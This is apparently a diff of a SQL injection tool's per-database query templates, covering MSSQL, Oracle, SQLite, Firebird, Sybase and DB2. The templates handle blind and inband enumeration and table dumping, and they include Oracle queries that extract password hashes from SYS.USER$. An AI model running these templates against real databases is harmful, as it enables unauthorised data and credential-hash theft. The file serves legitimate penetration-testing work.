<inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
|
<inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
|
||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
@@ -202,12 +230,13 @@
|
|||||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s')" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns WHERE %s..syscolumns.id=OBJECT_ID('%s.%s') ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=OBJECT_ID('%s.%s')" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=OBJECT_ID('%s.%s')" condition="[DB]..syscolumns.name"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT *, %s AS SQLMAPCAPVAL, ROW_NUMBER() OVER (ORDER BY %s) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||||
@@ -244,6 +273,9 @@
|
|||||||
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
|
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
|
||||||
-->
|
-->
|
||||||
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
||||||
|
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))>0)"/>
|
||||||
|
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))>0)"/>
|
||||||
|
<bitcol query="BITAND(%s,POWER(2,%s))>0"/>
|
||||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||||
<current_user query="SELECT USER FROM DUAL"/>
|
<current_user query="SELECT USER FROM DUAL"/>
|
||||||
<!--
|
<!--
|
||||||
@@ -264,8 +296,8 @@
|
|||||||
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS CAP FROM SYS.ALL_USERS) WHERE CAP=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
||||||
</users>
|
</users>
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
|
<inband query="SELECT NAME,COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM SYS.USER$" condition="NAME"/>
|
||||||
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
|
<blind query="SELECT COALESCE(REGEXP_SUBSTR(SPARE4,'S:[0-9A-F]{60}'),REGEXP_SUBSTR(SPARE4,'T:[0-9A-F]{160}'),PASSWORD) FROM (SELECT SPARE4,PASSWORD,ROWNUM AS CAP FROM SYS.USER$ WHERE NAME='%s') WHERE CAP=%d" count="SELECT COUNT(*) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||||
</passwords>
|
</passwords>
|
||||||
<!--
|
<!--
|
||||||
NOTE: in Oracle to enumerate the privileges for the session user you can use:
|
NOTE: in Oracle to enumerate the privileges for the session user you can use:
|
||||||
@@ -287,14 +319,19 @@
|
|||||||
<inband query="SELECT SQL_TEXT FROM V$SQL"/>
|
<inband query="SELECT SQL_TEXT FROM V$SQL"/>
|
||||||
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
|
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
|
||||||
</statements>
|
</statements>
|
||||||
|
<!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
|
||||||
|
<procedures>
|
||||||
|
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
|
||||||
|
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
|
||||||
|
</procedures>
|
||||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||||
<dbs>
|
<dbs>
|
||||||
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
|
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
|
||||||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
|
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
|
||||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS CAP FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE CAP=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
|
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||||
@@ -302,7 +339,8 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
|
<primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||||
<search_db>
|
<search_db>
|
||||||
@@ -338,6 +376,9 @@
|
|||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<hex query="HEX(%s)"/>
|
<hex query="HEX(%s)"/>
|
||||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||||
|
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))>>((%s-%s)%%%s))&1)=1"/>
|
||||||
|
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))>>(%s))&1)=1"/>
|
||||||
|
<bitcol query="((%s>>%s)&1)=1"/>
|
||||||
<banner query="SELECT SQLITE_VERSION()"/>
|
<banner query="SELECT SQLITE_VERSION()"/>
|
||||||
<current_user/>
|
<current_user/>
|
||||||
<current_db/>
|
<current_db/>
|
||||||
@@ -362,7 +403,7 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM %s ORDER BY rowid LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db/>
|
<search_db/>
|
||||||
<search_table>
|
<search_table>
|
||||||
@@ -417,8 +458,9 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Firebird">
|
<dbms value="Firebird">
|
||||||
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
<!--Firebird doesn't like big VARCHARs-->
|
||||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
<cast query="TRIM(TRAILING FROM CAST(%s AS VARCHAR(8000)))"/>
|
||||||
|
<length query="CHAR_LENGTH(TRIM(TRAILING FROM %s))"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="ROWS %d TO %d"/>
|
<limit query="ROWS %d TO %d"/>
|
||||||
<limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
|
<limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
|
||||||
@@ -441,16 +483,16 @@
|
|||||||
<column_comment/>
|
<column_comment/>
|
||||||
<is_dba query="CURRENT_USER='SYSDBA'"/>
|
<is_dba query="CURRENT_USER='SYSDBA'"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
|
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
|
||||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
|
||||||
</users>
|
</users>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||||
</tables>
|
</tables>
|
||||||
<privileges>
|
<privileges>
|
||||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
|
||||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
|
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
|
||||||
</privileges>
|
</privileges>
|
||||||
<roles/>
|
<roles/>
|
||||||
<statements/>
|
<statements/>
|
||||||
@@ -462,7 +504,7 @@
|
|||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s"/>
|
||||||
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s ORDER BY %s" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db/>
|
<search_db/>
|
||||||
<search_table>
|
<search_table>
|
||||||
@@ -532,8 +574,8 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
<cast query="CONVERT(VARCHAR(16384),%s)"/>
|
||||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||||
<isnull query="ISNULL(%s,' ')"/>
|
<isnull query="ISNULL(%s,' ')"/>
|
||||||
<delimiter query="+"/>
|
<delimiter query="+"/>
|
||||||
<limit query="SELECT TOP %d "/>
|
<limit query="SELECT TOP %d "/>
|
||||||
@@ -547,7 +589,7 @@
|
|||||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||||
<concatenate query="%s+%s"/>
|
<concatenate query="%s+%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||||
<hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>
|
<hex query="BINTOSTR(CONVERT(VARBINARY(16384),%s))"/>
|
||||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
<banner query="SELECT @@VERSION"/>
|
<banner query="SELECT @@VERSION"/>
|
||||||
<current_user query="SELECT SUSER_NAME()"/>
|
<current_user query="SELECT SUSER_NAME()"/>
|
||||||
@@ -575,16 +617,16 @@
|
|||||||
<blind/>
|
<blind/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
|
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS name FROM %s..sysobjects,%s..sysusers WHERE %s..sysobjects.uid=%s..sysusers.uid AND %s..sysobjects.type IN ('U','V')"/>
|
||||||
<blind/>
|
<blind/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns WHERE %s..syscolumns.id=object_id('%s.%s')" condition="[DB]..syscolumns.name"/>
|
||||||
<blind/>
|
<blind/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s"/>
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(16384),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||||
@@ -601,9 +643,9 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
<!-- VARCHAR(32672) (DB2 max), not CHAR(254) which silently truncated values >254 chars; RTRIM kept to strip CHAR-column blank padding (DB2 <v9, which lacked the VARCHAR cast, is long unsupported) -->
|
||||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
|
||||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
<length query="CHARACTER_LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))),CODEUNITS32)"/>
|
||||||
<isnull query="COALESCE(%s,' ')"/>
|
<isnull query="COALESCE(%s,' ')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="ROW_NUMBER() OVER () AS CAP %s) AS qq WHERE CAP"/>
|
